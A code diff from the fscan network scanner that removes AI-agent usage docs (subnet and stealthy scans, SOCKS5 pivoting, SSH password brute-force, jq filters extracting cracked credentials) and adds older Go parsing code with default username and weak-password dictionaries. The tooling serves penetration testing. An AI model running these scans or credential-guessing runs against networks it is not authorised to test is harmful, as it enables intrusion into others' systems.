-4. `VULN` — 漏洞/弱口令检测阶段
-
-同一 `host:port` 可产生多条结果（PORT + SERVICE + VULN）。
-
-## 常用场景参数组合
-
-### 全网段快速扫描
-
-```bash
-fscan -h 192.168.1.0/24 -silent
-```
-
-### 跳过存活检测直接扫端口（目标明确时）
-
-```bash
-fscan -h 192.168.1.0/24 -silent -np
-```
-
-### 指定端口精确扫描
-
-```bash
-fscan -h 10.0.0.0/24 -silent -p 22,80,443,445,3389,3306,6379
-```
-
-### 仅存活探测
-
-```bash
-fscan -h 172.16.0.0/16 -silent -m icmp
-```
-
-### 低速隐蔽扫描
-
-```bash
-fscan -h 192.168.1.0/24 -silent -t 30 -time 5
-```
-
-### 通过 SOCKS5 代理扫描内网
-
-```bash
-fscan -h 10.0.0.0/24 -silent -socks5 127.0.0.1:1080
-```
-
-### 仅做弱口令检测
-
-```bash
-fscan -h 192.168.1.10 -silent -m ssh -user root -pwdf /path/to/passwords.txt
-```
-
-### Web 目标扫描
-
-```bash
-fscan -u https://target.com -silent -full
-```
-
-### 多目标文件批量扫描
-
-```bash
-fscan -hf targets.txt -silent -o results.json -f json
-```
-
-### 带调试日志的排障扫描
-
-```bash
-# NDJSON 到 stdout，debug 日志到文件，互不干扰
-fscan -h 192.168.1.0/24 -silent -debug
-# 事后查看：cat fscan_debug.log
-```
-
-## AI Agent 结果处理
-
-### Python 管道消费
-
-```python
-import json, subprocess
-
-proc = subprocess.Popen(
-    ["fscan", "-h", "192.168.1.0/24", "-silent"],
-    stdout=subprocess.PIPE, text=True
-)
-
-hosts, services, vulns = [], [], []
-for line in proc.stdout:
-    r = json.loads(line)
-    if r["type"] == "HOST":
-        hosts.append(r["host"])
-    elif r["type"] == "SERVICE":
-        services.append(r)
-    elif r["type"] == "VULN":
-        vulns.append(r)
-
-proc.wait()
-```
-
-### jq 过滤
-
-```bash
-# 提取所有弱口令
-fscan -h 10.0.0.0/24 -silent | jq -r 'select(.username != null) | "\(.host):\(.port) \(.service) \(.username):\(.password)"'
-
-# 提取所有漏洞
-fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="VULN") | "\(.host):\(.port) \(.vulnerability)"'
-
-# 提取 Web 服务
-fscan -h 10.0.0.0/24 -silent | jq -r 'select(.url != null) | "\(.url) \(.title)"'
-
-# 统计开放端口
-fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="PORT") | .port' | sort -n | uniq -c | sort -rn
-```
-
-## 注意事项
-
-- `-silent` 抑制所有人类可读日志，stdout 仅输出 NDJSON
-- 空字段不出现在 JSON 中（`omitempty`）
-- 进程退出码 `0` 正常完成，非 `0` 表示参数错误或初始化失败
-- `-silent` 和 `-debug` 可同时使用，互不干扰
-- SOCKS5 代理下 fscan 信任协议层连接结果，不做额外深度验证
-- 扫描大网段时线程数会自动调整，资源耗尽时自适应降级
-- 默认超时 3 秒，防火墙 drop 的端口会静默超时，不计入失败率

common/Parse.go

@@ -0,0 +1,134 @@
+package common
+
+import (
+	"bufio"
+	"flag"
+	"fmt"
+	"os"
+	"strconv"
+	"strings"
+)
+
+func Parse(Info *HostInfo){
+	ParseUser(Info)
+	ParsePass(Info)
+	ParseInput(Info)
+	ParseScantype(Info)
+}
+
+
+
+func ParseUser(Info *HostInfo){
+	if Info.Username!=""{
+		uesrs := strings.Split(Info.Username, ",")
+		for _,uesr := range uesrs{
+			if uesr !=""{
+				Info.Usernames = append(Info.Usernames,uesr)
+			}
+		}
+		for name := range Userdict{
+			Userdict[name] = Info.Usernames
+		}
+	}
+	if Info.Userfile!=""{
+		uesrs,err := Readfile(Info.Userfile)
+		if err == nil {
+			for _, uesr := range uesrs {
+				if uesr != "" {
+					Info.Usernames = append(Info.Usernames, uesr)
+				}
+			}
+			for name := range Userdict {
+				Userdict[name] = Info.Usernames
+			}
+		}
+	}
+
+}
+
+func ParsePass(Info *HostInfo){
+	if Info.Password!=""{
+		passs := strings.Split(Info.Password, ",")
+		for _,pass := range passs{
+			if pass !=""{
+				Info.Passwords = append(Info.Passwords,pass)
+			}
+		}
+		Passwords = Info.Passwords
+	}
+	if Info.Passfile!=""{
+		passs,err := Readfile(Info.Passfile)
+		if err == nil{
+			for _,pass := range passs{
+				if pass !=""{
+					Info.Passwords = append(Info.Passwords,pass)
+				}
+			}
+			Passwords = Info.Passwords
+
+		}
+	}
+}
+
+func Readfile(filename string)([]string,error){
+	file, err := os.Open(filename)
+	if err!=nil{
+		fmt.Println("Open %s error, %v", filename,err)
+		os.Exit(0)
+	}
+	defer file.Close()
+	var content []string
+	scanner := bufio.NewScanner(file)
+	scanner.Split(bufio.ScanLines)
+	for scanner.Scan() {
+		text := strings.TrimSpace(scanner.Text())
+		if text != "" {
+			content=append(content,scanner.Text())
+		}
+	}
+	return content,nil
+}
+
+
+
+func ParseInput(Info *HostInfo){
+	if Info.Host=="" && Info.HostFile ==""{
+		fmt.Println("Host is none")
+		flag.Usage()
+		os.Exit(0)
+	}
+	if Info.Outputfile != ""{
+		Outputfile = Info.Outputfile
+	}
+	if Info.IsSave == true{
+		IsSave = false
+	}
+}
+
+func ParseScantype(Info *HostInfo){
+	_,ok:=PORTList[Info.Scantype]
+	if !ok{
+		fmt.Println("The specified scan type does not exist")
+		fmt.Println("-m")
+		for name,_:=range PORTList{
+			fmt.Println("   ["+name+"]")
+		}
+		os.Exit(0)
+	}
+	if Info.Scantype != "all" && Info.Ports != DefaultPorts{
+		ScanPort := ParsePort(Info.Ports)[0]
+		Info.Ports = strconv.Itoa(ScanPort)
+		fmt.Println("if -m and -p only scan the first port:",Info.Ports)
+		for name,_:=range PORTList{
+			PORTList[name] = ScanPort
+		}
+	}
+}
+
+
+func CheckErr(text string,err error){
+	if err!=nil{
+		fmt.Println(text,err.Error())
+		os.Exit(0)
+	}
+}

common/ParseIP.go

@@ -0,0 +1,199 @@
+package common
+
+import (
+	"bufio"
+	"errors"
+	"fmt"
+	"net"
+	"os"
+	"regexp"
+	"strconv"
+	"strings"
+)
+
+var ParseIPErr  =errors.New("host parsing error\n" +
+	"format: \n"+
+	"192.168.1.1\n" +
+	"192.168.1.1/8\n"+
+	"192.168.1.1/16\n"+
+	"192.168.1.1/24\n"+
+	"192.168.1.1,192.168.1.2\n" +
+	"192.168.1.1-255")
+
+func ParseIP(ip string,filename string)(hosts []string,err error){
+
+	if ip != ""{
+		hosts,err = ParseIPs(ip)
+	}
+	if filename != ""{
+		var filehost []string
+		filehost,_ = Readipfile(filename)
+		hosts = append(hosts,filehost...)
+	}
+	hosts = RemoveDuplicate(hosts)
+	return hosts,err
+}
+
+func ParseIPs(ip string)(hosts []string,err error){
+	if strings.Contains(ip,","){
+		IPList:=strings.Split(ip,",")
+		var ips []string
+		for _,ip:=range IPList{
+			ips,err = ParseIPone(ip)
+			CheckErr(ip,err)
+			hosts = append(hosts,ips...)
+		}
+		return hosts,err
+	}else {
+		hosts,err = ParseIPone(ip)
+		CheckErr(ip,err)
+		return hosts,err
+	}
+}
+
+func ParseIPone(ip string)([]string,error){
+	reg:=regexp.MustCompile(`[a-zA-Z]+`)
+	switch {
+	case strings.Contains(ip[len(ip)-3:len(ip)],"/24"):
+		return ParseIPA(ip)
+	case strings.Contains(ip[len(ip)-3:len(ip)],"/16"):
+		return ParseIPD(ip)
+	case strings.Contains(ip[len(ip)-2:len(ip)],"/8"):
+		return ParseIPE(ip)
+	case strings.Count(ip,"-")==1:
+		return ParseIPC(ip)
+	case reg.MatchString(ip):
+		_, err := net.LookupHost(ip)
+		if err != nil {
+			return nil,err
+		}
+		return []string{ip},nil
+	default:
+		testIP:=net.ParseIP(ip)
+		if testIP==nil{
+			return nil,ParseIPErr
+		}
+		return []string{ip},nil
+	}
+}
+//Parsing CIDR IP
+func ParseIPA(ip string)([]string,error){
+	realIP:=ip[:len(ip)-3]
+	testIP:=net.ParseIP(realIP)
+
+	if testIP==nil{
+		return nil,ParseIPErr
+	}
+	IPrange:=strings.Join(strings.Split(realIP,".")[0:3],".")
+	var AllIP []string
+	for i:=0;i<=255;i++{
+		AllIP=append(AllIP,IPrange+"."+strconv.Itoa(i))
+	}
+	return AllIP,nil
+}
+
+//Resolving multiple IPS, for example: 192.168.111.1,192.168.111.2
+func ParseIPB(ip string)([]string,error){
+	IPList:=strings.Split(ip,",")
+	for _,i:=range IPList{
+		testIP:=net.ParseIP(i)
+		if testIP==nil{
+			return nil,ParseIPErr
+		}
+	}
+	return IPList,nil
+
+}
+
+//Resolving a range of IP,for example: 192.168.111.1-255
+func ParseIPC(ip string)([]string,error){
+	IPRange:=strings.Split(ip,"-")
+	testIP:=net.ParseIP(IPRange[0])
+	Range,err:=strconv.Atoi(IPRange[1])
+	if testIP==nil || Range>255 || err!=nil{
+		return nil,ParseIPErr
+	}
+	SplitIP:=strings.Split(IPRange[0],".")
+	ip1,err1:=strconv.Atoi(SplitIP[3])
+	ip2,err2:=strconv.Atoi(IPRange[1])
+	PrefixIP:=strings.Join(SplitIP[0:3],".")
+	var AllIP []string
+	if ip1>ip2 || err1!=nil || err2!=nil{
+		return nil,ParseIPErr
+	}
+	for i:=ip1;i<=ip2;i++{
+		AllIP=append(AllIP,PrefixIP+"."+strconv.Itoa(i))
+	}
+	return AllIP,nil
+
+}
+
+func ParseIPD(ip string)([]string,error){
+	realIP:=ip[:len(ip)-3]
+	testIP:=net.ParseIP(realIP)
+
+	if testIP==nil{
+		return nil,ParseIPErr
+	}
+	IPrange:=strings.Join(strings.Split(realIP,".")[0:2],".")
+	var AllIP []string
+	for a:=0;a<=255;a++{
+		for b:=0;b<=255;b++{
+			AllIP=append(AllIP,IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b))
+		}
+	}
+	return AllIP,nil
+}
+
+func ParseIPE(ip string)([]string,error){
+	realIP:=ip[:len(ip)-2]
+	testIP:=net.ParseIP(realIP)
+
+	if testIP==nil{
+		return nil,ParseIPErr
+	}
+	IPrange:=strings.Join(strings.Split(realIP,".")[0:1],".")
+	var AllIP []string
+	for a:=0;a<=255;a++{
+		for b:=0;b<=255;b++{
+			AllIP=append(AllIP,IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(1))
+			AllIP=append(AllIP,IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(254))
+		}
+	}
+	return AllIP,nil
+}
+
+func Readipfile(filename string)([]string,error){
+	file, err := os.Open(filename)
+	if err!=nil{
+		fmt.Println("Open %s error, %v", filename,err)
+		os.Exit(0)
+	}
+	defer file.Close()
+	var content []string
+	scanner := bufio.NewScanner(file)
+	scanner.Split(bufio.ScanLines)
+	for scanner.Scan() {
+		text := strings.TrimSpace(scanner.Text())
+		if text != "" {
+			host,err := ParseIPs(text)
+			CheckErr(text,err)
+			content=append(content,host...)
+		}
+	}
+	return content,nil
+}
+
+
+func RemoveDuplicate(old []string) ([]string) {
+	result := make([]string, 0, len(old))
+	temp := map[string]struct{}{}
+	for _, item := range old {
+		if _, ok := temp[item]; !ok {
+			temp[item] = struct{}{}
+			result = append(result, item)
+		}
+	}
+	return result
+}
+

common/ParsePort.go

@@ -0,0 +1,31 @@
+package common
+
+import (
+	"sort"
+	"strconv"
+	"strings"
+)
+
+func ParsePort(ports string) []int {
+	var scanPorts []int
+	slices := strings.Split(ports, ",")
+	for _, port := range slices {
+		port = strings.Trim(port, " ")
+		upper := port
+		if strings.Contains(port, "-") {
+			ranges := strings.Split(port, "-")
+			if len(ranges) < 2 {
+				continue
+			}
+			sort.Strings(ranges)
+			port = ranges[0]
+			upper = ranges[1]
+		}
+		start, _ := strconv.Atoi(port)
+		end, _ := strconv.Atoi(upper)
+		for i := start; i <= end; i++ {
+			scanPorts = append(scanPorts, i)
+		}
+	}
+	return scanPorts
+}

common/api_test.go

@@ -1,257 +0,0 @@
-package common
-
-import (
-	"testing"
-	"time"
-
-	"github.com/shadow1ng/fscan/common/logging"
-	"github.com/shadow1ng/fscan/common/proxy"
-)
-
-func TestGetLogLevelFromString(t *testing.T) {
-	tests := []struct {
-		name     string
-		input    string
-		expected logging.LogLevel
-	}{
-		// 标准情况
-		{"all lowercase", "all", logging.LevelAll},
-		{"ALL uppercase", "ALL", logging.LevelAll},
-		{"error lowercase", "error", logging.LevelError},
-		{"ERROR uppercase", "ERROR", logging.LevelError},
-		{"base lowercase", "base", logging.LevelBase},
-		{"BASE uppercase", "BASE", logging.LevelBase},
-		{"info lowercase", "info", logging.LevelInfo},
-		{"INFO uppercase", "INFO", logging.LevelInfo},
-		{"success lowercase", "success", logging.LevelSuccess},
-		{"SUCCESS uppercase", "SUCCESS", logging.LevelSuccess},
-		{"debug lowercase", "debug", logging.LevelDebug},
-		{"DEBUG uppercase", "DEBUG", logging.LevelDebug},
-
-		// 组合情况
-		{"info,success", "info,success", logging.LevelInfoSuccess},
-		{"base,info,success", "base,info,success", logging.LevelBaseInfoSuccess},
-		{"BASE_INFO_SUCCESS", "BASE_INFO_SUCCESS", logging.LevelBaseInfoSuccess},
-
-		// 边界情况
-		{"empty string", "", logging.LevelInfoSuccess},
-		{"unknown value", "unknown", logging.LevelInfoSuccess},
-		{"random string", "foobar", logging.LevelInfoSuccess},
-		{"mixed case", "InFo", logging.LevelInfo}, // ToLower后匹配"info"
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			result := getLogLevelFromString(tt.input)
-			if result != tt.expected {
-				t.Errorf("getLogLevelFromString(%q) = %v, want %v", tt.input, result, tt.expected)
-			}
-		})
-	}
-}
-
-func TestCreateProxyConfig(t *testing.T) {
-	fv := GetFlagVars()
-	// 保存原始值并在测试后恢复
-	origSocks5 := fv.Socks5Proxy
-	origHTTP := fv.HTTPProxy
-	defer func() {
-		fv.Socks5Proxy = origSocks5
-		fv.HTTPProxy = origHTTP
-	}()
-
-	tests := []struct {
-		name         string
-		socks5Proxy  string
-		httpProxy    string
-		timeout      time.Duration
-		expectedType proxy.ProxyType
-		expectedAddr string
-		expectedUser string
-		expectedPass string
-	}{
-		{
-			name:         "no proxy",
-			socks5Proxy:  "",
-			httpProxy:    "",
-			timeout:      5 * time.Second,
-			expectedType: proxy.ProxyTypeNone,
-			expectedAddr: "",
-			expectedUser: "",
-			expectedPass: "",
-		},
-		{
-			name:         "socks5 simple address",
-			socks5Proxy:  "127.0.0.1:1080",
-			httpProxy:    "",
-			timeout:      5 * time.Second,
-			expectedType: proxy.ProxyTypeSOCKS5,
-			expectedAddr: "127.0.0.1:1080",
-			expectedUser: "",
-			expectedPass: "",
-		},
-		{
-			name:         "socks5 with protocol prefix",
-			socks5Proxy:  "socks5://127.0.0.1:1080",
-			httpProxy:    "",
-			timeout:      5 * time.Second,
-			expectedType: proxy.ProxyTypeSOCKS5,
-			expectedAddr: "127.0.0.1:1080",
-			expectedUser: "",
-			expectedPass: "",
-		},
-		{
-			name:         "socks5 with auth",
-			socks5Proxy:  "socks5://user:[email protected]:1080",
-			httpProxy:    "",
-			timeout:      5 * time.Second,
-			expectedType: proxy.ProxyTypeSOCKS5,
-			expectedAddr: "127.0.0.1:1080",
-			expectedUser: "user",
-			expectedPass: "pass",
-		},
-		{
-			name:         "socks5 with auth no protocol",
-			socks5Proxy:  "user:[email protected]:1080",
-			httpProxy:    "",
-			timeout:      5 * time.Second,
-			expectedType: proxy.ProxyTypeSOCKS5,
-			expectedAddr: "127.0.0.1:1080",
-			expectedUser: "user",
-			expectedPass: "pass",
-		},
-		{
-			name:         "http proxy simple",
-			socks5Proxy:  "",
-			httpProxy:    "http://127.0.0.1:8080",
-			timeout:      5 * time.Second,
-			expectedType: proxy.ProxyTypeHTTP,
-			expectedAddr: "127.0.0.1:8080",
-			expectedUser: "",
-			expectedPass: "",
-		},
-		{
-			name:         "https proxy",
-			socks5Proxy:  "",
-			httpProxy:    "https://127.0.0.1:8443",
-			timeout:      5 * time.Second,
-			expectedType: proxy.ProxyTypeHTTPS,
-			expectedAddr: "127.0.0.1:8443",
-			expectedUser: "",
-			expectedPass: "",
-		},
-		{
-			name:         "http proxy with auth",
-			socks5Proxy:  "",
-			httpProxy:    "http://user:[email protected]:8080",
-			timeout:      5 * time.Second,
-			expectedType: proxy.ProxyTypeHTTP,
-			expectedAddr: "127.0.0.1:8080",
-			expectedUser: "user",
-			expectedPass: "pass",
-		},
-		{
-			name:         "socks5 priority over http",
-			socks5Proxy:  "127.0.0.1:1080",
-			httpProxy:    "http://127.0.0.1:8080",
-			timeout:      5 * time.Second,
-			expectedType: proxy.ProxyTypeSOCKS5,
-			expectedAddr: "127.0.0.1:1080",
-			expectedUser: "",
-			expectedPass: "",
-		},
-		{
-			name:         "socks5 with username only",
-			socks5Proxy:  "socks5://[email protected]:1080",
-			httpProxy:    "",
-			timeout:      5 * time.Second,
-			expectedType: proxy.ProxyTypeSOCKS5,
-			expectedAddr: "127.0.0.1:1080",
-			expectedUser: "user",
-			expectedPass: "",
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			// 设置FlagVars
-			fv.Socks5Proxy = tt.socks5Proxy
-			fv.HTTPProxy = tt.httpProxy
-
-			// 调用函数
-			config := createProxyConfig(tt.timeout)
-
-			// 验证结果
-			if config.Type != tt.expectedType {
-				t.Errorf("Type = %v, want %v", config.Type, tt.expectedType)
-			}
-			if config.Address != tt.expectedAddr {
-				t.Errorf("Address = %q, want %q", config.Address, tt.expectedAddr)
-			}
-			if config.Username != tt.expectedUser {
-				t.Errorf("Username = %q, want %q", config.Username, tt.expectedUser)
-			}
-			if config.Password != tt.expectedPass {
-				t.Errorf("Password = %q, want %q", config.Password, tt.expectedPass)
-			}
-			if config.Timeout != tt.timeout {
-				t.Errorf("Timeout = %v, want %v", config.Timeout, tt.timeout)
-			}
-		})
-	}
-}
-
-func TestCreateProxyConfigEdgeCases(t *testing.T) {
-	fv := GetFlagVars()
-	origSocks5 := fv.Socks5Proxy
-	origHTTP := fv.HTTPProxy
-	defer func() {
-		fv.Socks5Proxy = origSocks5
-		fv.HTTPProxy = origHTTP
-	}()
-
-	t.Run("invalid socks5 url fallback", func(t *testing.T) {
-		fv.Socks5Proxy = "://invalid"
-		fv.HTTPProxy = ""
-
-		config := createProxyConfig(5 * time.Second)
-
-		// 即使 URL 解析失败，也应该回退到原始值或解析后的 Host
-		if config.Type != proxy.ProxyTypeSOCKS5 {
-			t.Errorf("Type = %v, want %v", config.Type, proxy.ProxyTypeSOCKS5)
-		}
-		// URL 解析后提取 Host，对于 "://invalid" 会得到 ":"
-		if config.Address == "" {
-			t.Error("Address should not be empty")
-		}
-	})
-
-	t.Run("invalid http url fallback", func(t *testing.T) {
-		fv.Socks5Proxy = ""
-		fv.HTTPProxy = "://invalid"
-
-		config := createProxyConfig(5 * time.Second)
-
-		if config.Type != proxy.ProxyTypeHTTP {
-			t.Errorf("Type = %v, want %v", config.Type, proxy.ProxyTypeHTTP)
-		}
-		// URL 解析后提取 Host，对于无效 URL 可能得到非预期值
-		if config.Address == "" {
-			t.Error("Address should not be empty")
-		}
-	})
-
-	t.Run("empty password with username", func(t *testing.T) {
-		fv.Socks5Proxy = "socks5://user:@127.0.0.1:1080"
-		fv.HTTPProxy = ""
-
-		config := createProxyConfig(5 * time.Second)
-
-		if config.Username != "user" {
-			t.Errorf("Username = %q, want %q", config.Username, "user")
-		}
-		if config.Password != "" {
-			t.Errorf("Password = %q, want empty string", config.Password)
-		}
-	})
-}

common/callback.go

@@ -1,36 +0,0 @@
-package common
-
-import "sync"
-
-// ResultCallback 扫描结果回调函数类型
-type ResultCallback func(result interface{})
-
-var (
-	resultCallback ResultCallback
-	callbackMu     sync.RWMutex
-)
-
-// SetResultCallback 设置结果回调函数（Web模式使用）
-func SetResultCallback(cb ResultCallback) {
-	callbackMu.Lock()
-	defer callbackMu.Unlock()
-	resultCallback = cb
-}
-
-// NotifyResult 通知结果给回调函数
-func NotifyResult(result interface{}) {
-	callbackMu.RLock()
-	cb := resultCallback
-	callbackMu.RUnlock()
-
-	if cb != nil {
-		cb(result)
-	}
-}
-
-// ClearResultCallback 清除结果回调函数
-func ClearResultCallback() {
-	callbackMu.Lock()
-	defer callbackMu.Unlock()
-	resultCallback = nil
-}

common/config.go

@@ -0,0 +1,81 @@
+package common
+
+var Userdict = map[string][]string{
+	"ftp":  {"www","admin","root","db","wwwroot","data","web","ftp"},
+	"mysql": {"root"},
+	"mssql": {"root","sa"},
+	"smb": {"administrator","guest"},
+	"postgresql": {"postgres","admin"},
+	"ssh": {"root","admin"},
+	"mongodb": {"root","admin"},
+	//"telnet": []string{"administrator","admin","root","cisco","huawei","zte"},
+}
+
+var Passwords = []string{"admin123A","admin123","123456","admin","root","password","123123","654321","123","1","admin@123","Admin@123","{user}","{user}123","","P@ssw0rd!","qwa123","12345678","test","123qwe!@#","123456789","123321","666666","fuckyou","000000","1234567890","8888888","qwerty","1qaz2wsx","abc123","abc123456","1qaz@WSX","Aa123456","sysadmin","system","huawei"}
+
+var PORTList = map[string]int{
+	"ftp": 21,
+	"ssh": 22,
+	"mem": 11211,
+	"mgo": 27017,
+	"mssql": 1433,
+	"psql": 5432,
+	"redis": 6379,
+	"mysql": 3306,
+	"smb": 445,
+	"ms17010": 1000001,
+	"cve20200796":1000002,
+	"webtitle": 1000003,
+	"elastic": 9200,
+	"findnet": 135,
+	"all":0,
+}
+
+var PORTList_bak = map[string]int{
+	"ftp": 21,
+	"ssh": 22,
+	"mem": 11211,
+	"mgo": 27017,
+	"mssql": 1433,
+	"psql": 5432,
+	"redis": 6379,
+	"mysql": 3306,
+	"smb": 445,
+	"ms17010": 1000001,
+	"cve20200796":1000002,
+	"webtitle": 1000003,
+	"elastic": 9200,
+	"findnet": 135,
+	"all":0,
+}
+
+var Outputfile = "result.txt"
+var IsSave = true
+
+var DefaultPorts = "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017"
+
+
+type HostInfo struct {
+	Host string
+	HostFile string
+	Ports string
+	Url string
+	Timeout int64
+	Scantype string
+	Isping bool
+	Threads int
+	IcmpThreads int
+	Command string
+	Username string
+	Password string
+	Userfile string
+	Passfile string
+	Usernames []string
+	Passwords []string
+	Outputfile string
+	IsSave bool
+	RedisFile string
+	RedisShell string
+}
+
+

common/config/constants.go

@@ -1,266 +0,0 @@
-package config
-
-// PocInfo POC详细信息结构 - 保留给webscan使用
-type PocInfo struct {
-	Target  string `json:"target"`
-	PocName string `json:"poc_name"`
-}
-
-// CredentialPair 精确的用户名密码对
-type CredentialPair struct {
-	Username string `json:"username"`
-	Password string `json:"password"`
-}
-
-// =============================================================================
-// 端口组常量 - 从common/constants.go迁移
-// =============================================================================
-
-// 预定义端口组 - 字符串格式，用于命令行参数默认值
-var (
-	// 注意：9100 已移除，该端口为打印机 RAW 端口，发送数据会触发打印 (Issue #517)
-	WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
-
-	// MainPorts 主要扫描端口 (约150个)
-	// 包含: 基础服务、远程管理、数据库、消息队列、Web中间件、容器云、监控、安全设备等
-	MainPorts = "" +
-		// 基础服务 (21-995)
-		"21,22,23,25,53,80,81,88,110,111,135,139,143,161,389,443,445,465,502,512,513,514,515,548,554,587,623,636,873,902,993,995," +
-		// 代理/隧道 (1080-1883)
-		"1080,1099,1194,1433,1434,1521,1522,1525,1723,1883," +
-		// 远程/数据库 (2049-3690)
-		"2049,2121,2181,2200,2222,2375,2376,2379,2380,3000,3128,3268,3269,3306,3389,3690," +
-		// Java/中间件 (4369-5986)
-		"4369,4444,4848,5000,5005,5044,5060,5432,5601,5631,5632,5671,5672,5900,5984,5985,5986," +
-		// 缓存/数据库 (6000-6667)
-		"6000,6379,6380,6443,6666,6667," +
-		// Web/中间件 (7001-9999)
-		// 注意：9100 已移除，该端口为打印机 RAW 端口，发送数据会触发打印
-		"7001,7002,7474,7687,8000,8005,8008,8009,8080,8081,8086,8088,8089,8090,8161,8180,8443,8500,8834,8848,8880,8888,9000,9001,9042,9080,9090,9092,9093,9160,9200,9300,9418,9443,9999," +
-		// 管理/监控 (10000-11211)
-		"10000,10051,10250,10255,11211," +
-		// 消息队列/集群 (15672-27018)
-		"15672,22222,26379,27017,27018," +
-		// Hadoop/大数据 (50000-61616)
-		"50000,50070,50075,61613,61614,61616"
-
-	// DbPorts 数据库端口
-	DbPorts = "1433,1521,3306,5432,5672,5984,6379,7687,8086,9042,9093,9160,9200,11211,26379,27017,27018,61616"
-
-	// ServicePorts 服务端口
-	ServicePorts = "21,22,23,25,53,110,111,135,139,143,161,389,445,465,502,512,513,514,587,623,636,873,993,995,1433,1521,2049,2181,2222,3306,3389,5432,5672,5671,5900,5985,5986,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
-
-	// CommonPorts 常用端口
-	CommonPorts = "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986"
-
-	// AllPorts 全端口
-	AllPorts = "1-65535"
-)
-
-// GetPortGroups 获取端口组映射 - 用于解析器
-func GetPortGroups() map[string]string {
-	return map[string]string{
-		"web":     WebPorts,
-		"main":    MainPorts,
-		"db":      DbPorts,
-		"service": ServicePorts,
-		"common":  CommonPorts,
-		"all":     AllPorts,
-	}
-}
-
-// =============================================================================
-// 服务探测配置
-// =============================================================================
-
-// DefaultProbeMap 默认探测器列表
-var DefaultProbeMap = []string{
-	"GenericLines",
-	"GetRequest",
-	"TLSSessionReq",
-	"SSLSessionReq",
-	"ms-sql-s",
-	"JavaRMI",
-	"LDAPSearchReq",
-	"LDAPBindReq",
-	"oracle-tns",
-	"Socks5",
-}
-
-// DefaultPortMap 默认端口映射关系
-var DefaultPortMap = map[int][]string{
-	1:     {"GetRequest", "Help"},
-	7:     {"Help"},
-	21:    {"GenericLines", "Help"},
-	23:    {"GenericLines", "tn3270"},
-	25:    {"Hello", "Help"},
-	35:    {"GenericLines"},
-	42:    {"SMBProgNeg"},
-	43:    {"GenericLines"},
-	53:    {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
-	70:    {"GetRequest"},
-	79:    {"GenericLines", "GetRequest", "Help"},
-	80:    {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
-	81:    {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
-	82:    {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
-	83:    {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
-	84:    {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
-	85:    {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
-	88:    {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
-	98:    {"GenericLines"},
-	110:   {"GenericLines"},
-	111:   {"RPCCheck"},
-	113:   {"GenericLines", "GetRequest", "Help"},
-	119:   {"GenericLines", "Help"},
-	130:   {"NotesRPC"},
-	135:   {"DNSVersionBindReqTCP", "SMBProgNeg"},
-	139:   {"GetRequest", "SMBProgNeg"},
-	143:   {"GetRequest"},
-	175:   {"NJE"},
-	199:   {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
-	214:   {"GenericLines"},
-	264:   {"GenericLines"},
-	311:   {"LDAPSearchReq"},
-	340:   {"GenericLines"},
-	389:   {"LDAPSearchReq", "LDAPBindReq"},
-	443:   {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
-	444:   {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
-	445:   {"SMBProgNeg"},
-	465:   {"SSLSessionReq", "TLSSessionReq", "Hello", "Help", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
-	502:   {"GenericLines"},
-	503:   {"GenericLines"},
-	513:   {"GenericLines"},
-	514:   {"GenericLines"},
-	515:   {"LPDString"},
-	544:   {"GenericLines"},
-	548:   {"afp"},
-	554:   {"GetRequest"},
-	563:   {"GenericLines"},
-	587:   {"Hello", "Help"},
-	631:   {"GetRequest", "HTTPOptions"},
-	636:   {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
-	646:   {"LDAPSearchReq", "RPCCheck"},
-	691:   {"GenericLines"},
-	873:   {"GenericLines"},
-	898:   {"GetRequest"},
-	993:   {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
-	995:   {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
-	1080:  {"GenericLines", "Socks5", "Socks4"},
-	1099:  {"JavaRMI"},
-	1234:  {"SqueezeCenter_CLI"},
